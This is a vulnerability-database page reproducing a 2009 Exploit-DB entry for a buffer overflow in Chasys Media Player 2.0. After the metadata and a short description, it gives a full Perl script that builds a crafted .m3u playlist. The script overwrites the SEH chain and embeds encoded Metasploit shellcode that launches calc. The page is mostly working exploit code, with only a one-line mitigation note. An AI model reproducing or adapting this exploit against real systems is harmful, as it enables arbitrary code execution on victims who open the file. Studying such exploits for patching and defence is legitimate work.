Chasys Media Player Buffer Overflow Exploit(SEH)

vendor:

Chasys Media Player

by:

h1ch4m (Hicham Oumounid)

7.6

CVSS

HIGH

Buffer Overflow

119

CWE

Product Name: Chasys Media Player

Affected Version From: 2

Affected Version To: 2

Patch Exists: YES

Related CWE: N/A

CPE: a:chasys:chasys_media_player

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Win XP SP3 French

2009

Chasys Media Player Buffer Overflow Exploit(SEH)

Chasys Media Player is vulnerable to a buffer overflow vulnerability when a specially crafted .m3u file is opened. This can be exploited to execute arbitrary code by corrupting the SEH chain and overwriting the return address with a pointer to the malicious code.

Mitigation:

Update to the latest version of Chasys Media Player

Source

Exploit-DB raw data:

# Exploit Title: Chasys Media Player Buffer Overflow Exploit(SEH)
# Software Link: http://www.chachaslab.com/chasys_media.php
# Version: 2.0
# Tested on: Win XP SP3 French
# Author: h1ch4m (Hicham Oumounid)
# Email: h1ch4m@live.fr
# Home: http://net-effects.blogspot.com

my $file= "exploit.m3u";
my $size = 10000;
my $junk = "#EXTM3U\n"."\x41" x 1308;
my $nseh = "\xeb\x06\x90\x90";
my $seh = pack('V', 0x00280B0B); # CALL DWORD PTR SS:[EBP+30]
# windows/exec - 223 bytes
# http://www.metasploit.com
# Encoder: x86/shikata_ga_nai
# EXITFUNC=seh, CMD=calc
my $shellcode = "\xda\xdd\xbf\xb0\x1a\x64\x4f\xd9\x74\x24\xf4\x58\x31\xc9" .
"\xb1\x32\x31\x78\x17\x83\xc0\x04\x03\xc8\x09\x86\xba\xd4" .
"\xc6\xcf\x45\x24\x17\xb0\xcc\xc1\x26\xe2\xab\x82\x1b\x32" .
"\xbf\xc6\x97\xb9\xed\xf2\x2c\xcf\x39\xf5\x85\x7a\x1c\x38" .
"\x15\x4b\xa0\x96\xd5\xcd\x5c\xe4\x09\x2e\x5c\x27\x5c\x2f" .
"\x99\x55\xaf\x7d\x72\x12\x02\x92\xf7\x66\x9f\x93\xd7\xed" .
"\x9f\xeb\x52\x31\x6b\x46\x5c\x61\xc4\xdd\x16\x99\x6e\xb9" .
"\x86\x98\xa3\xd9\xfb\xd3\xc8\x2a\x8f\xe2\x18\x63\x70\xd5" .
"\x64\x28\x4f\xda\x68\x30\x97\xdc\x92\x47\xe3\x1f\x2e\x50" .
"\x30\x62\xf4\xd5\xa5\xc4\x7f\x4d\x0e\xf5\xac\x08\xc5\xf9" .
"\x19\x5e\x81\x1d\x9f\xb3\xb9\x19\x14\x32\x6e\xa8\x6e\x11" .
"\xaa\xf1\x35\x38\xeb\x5f\x9b\x45\xeb\x07\x44\xe0\x67\xa5" .
"\x91\x92\x25\xa3\x64\x16\x50\x8a\x67\x28\x5b\xbc\x0f\x19" .
"\xd0\x53\x57\xa6\x33\x10\xa9\x57\x8e\x8c\x3e\xce\x7b\xed" .
"\x22\xf1\x51\x31\x5b\x72\x50\xc9\x98\x6a\x11\xcc\xe5\x2c" .
"\xc9\xbc\x76\xd9\xed\x13\x76\xc8\x8d\xf2\xe4\x90\x51";

my $rest = "D" x ($size - length($junk.$nseh.$seh.$shellcode));
open($FILE,">$file");
print $FILE $junk.$nseh.$seh.$shellcode.$rest;
close($FILE);
print "Files Created successfully\n";
sleep(1);